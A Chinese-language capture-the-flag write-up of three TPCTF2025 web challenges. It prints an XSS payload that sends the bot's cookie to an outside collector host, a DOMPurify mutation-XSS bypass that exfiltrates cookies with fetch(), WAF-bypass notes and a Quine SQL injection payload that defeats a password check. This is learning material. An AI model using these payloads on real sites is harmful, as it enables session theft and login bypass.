TPCTF2025 Web 复现全解

TPCTF2025 Web 复现全解

baby-layout

Problem

本题给了两个接口,允许我们自定义 layout 然后能够自定义 {{content}} 内容。

Solution

登录之后发现有一个网页和 bot 功能,疑似 xss,看到 dockerfile 里面 flag 放到 bot 的 cookie 里,大概是要把 bot 的 cookie 带出来就算过了。

没有发现任何过滤,直接正常的使用 xss 来进行伪造。

layout:
<img src={{content}}>
payload:
" onerror="window.location.href='http://xss.domain.com/index.php/?1='+document.cookie

回带 flag 就行。

Safe-layout

Problem

在上题的基础上使用 DomPurify 进行了过滤。

Solution

本题提出了一个对 layout 进行注入的过程中使用 DomPurify 进行标签过滤的绕过,本题禁止使用所有的标签属性。

注意这里使用的是 DomPurify 这样一个工具进行过滤操作,不妨去考虑 DomPurify 这个工具自身产生的漏洞。

当我们对 Dom Tree 进行解析的时候,我们有一个手法叫做 mXSS:当浏览器去解析我们的标签时会自动进行一系列的修复,尝试使 Dom Tree 处于标准形式,便于后续的解析。但正是这个修复的行为导致了我们标签结构的突变(mutation)

对于不同的浏览器,标签修复有不同的行为,所以某些 mXSS 行为在某些浏览器上不起作用(Firefox 上某些 mXSS 就没有办法起作用)。

举个例子:

<div>
<a alt="</div> <img src onerror='alert(111);'>">
</div>

这个时候 HTML 并不会分析 alt 标签的内容,他会解析成一个正常的文本,而不会将中间的 <img 元素解析出来。

但是如果我们使用 <style> 元素那就是完全不一样的表现了,类似的例子:

<style>
<a alt="</style> <img src onerror='alert(111);'>"
</style>

你能够明显感觉到上下两段 html 之间的差距,这个时候由于 <style> 元素的原因,html 认为嵌合在 alt 标签中的 </style> 终止元素成为了自己的元素,从而将整个 <img 元素表现成了正常的元素,从而我们可以进行注入操作。

但是本题中我们连 alt 这个标签都不可能存在,所以我们需要一个新的手法来进行注入。同样是 <style> 元素的利用,根据 DomPurify 的过滤规则,他中间会采用类似 /<[/\w]/ 的方式检查,从而我们的 <{{content}} 并不会被检查,所以可以在 <style> 元素中注入一个未被转义的 < 来方便我们后续的注入。

而后面我们只需要通过 mXSS 的特性通过展平操作来 <style>,然后再使用我们刚刚注入的恶意 < 来进行注入就可以了。

<style>
{{content}}<{{content}} /* 由于我们需要在 <img 元素之前跳出 <style> 元素,所以需要在前面加入一个 {{content}} 来帮助我们通过突变特性弹出*/
</style>
img src onerror=fetch(`domain.com/?flag=`+document.cookie) <style></style>

后面的 <style> 帮助我们展平弹出,前面的 img 是我们的恶意注入代码。

SuperSQLi

Problem

给了一个纯粹的 sql 查询,并且开启了一个反向代理服务对所有上传到服务器的请求进行了检测。

image-20250401204836527

image-20250401204816090

Solution

两种手法过掉这个 waf,可以在上传 payload 时使用 utf-7 编码进行 bypass,在 Django < 0.5 版本时存在协议层 waf 绕过,具体的文章还没有详细看,如果有时间的话去详细了解一下原理吧。

通过这个漏洞我们可以任意构造 payload,并且对方的 sql 查询点并没有经过任何的预编译或者返回值防护,所以我们可以直接任意命令注入。

但是打开数据库之后发现用户库其实是空的,也就是说不存在一种可能使我们登录成功,也就是说 admin 的密码根本就不存在。所以我们得尝试直接绕过:

assert password == users[0].password

其实非常简单,我们只需要让我们的 sql 查询返回语句等于我们注入的 password 语句就行了,这非常像之前在小学二年级学过的输出自身的 C++ 代码。在 sql 中叫 Quine SQLi,自生产程序 sql 注入。(如果之后有时间我会写一篇该 trick 相关的文章)

'UNION SELECT 1,'admin',REPLACE(REPLACE('"UNION SELECT 1,"admin",REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$");-- ',CHAR(34),CHAR(39)),CHAR(36),'"UNION SELECT 1,"admin",REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$");-- ');--

password 处注入该 payload 即可。

另一个绕过手法是来自于星盟的 writeup。在解析 post 包的时候,waf 程序会对不同的 content-type 进行区分,当 content-type=multipart/form-data 时,我们发送一个 data 包里面加上我们需要的 post 体,这样就能够直接绕过这个 waf 的检测了。(这里其实没太懂,后面我再去琢磨琢磨)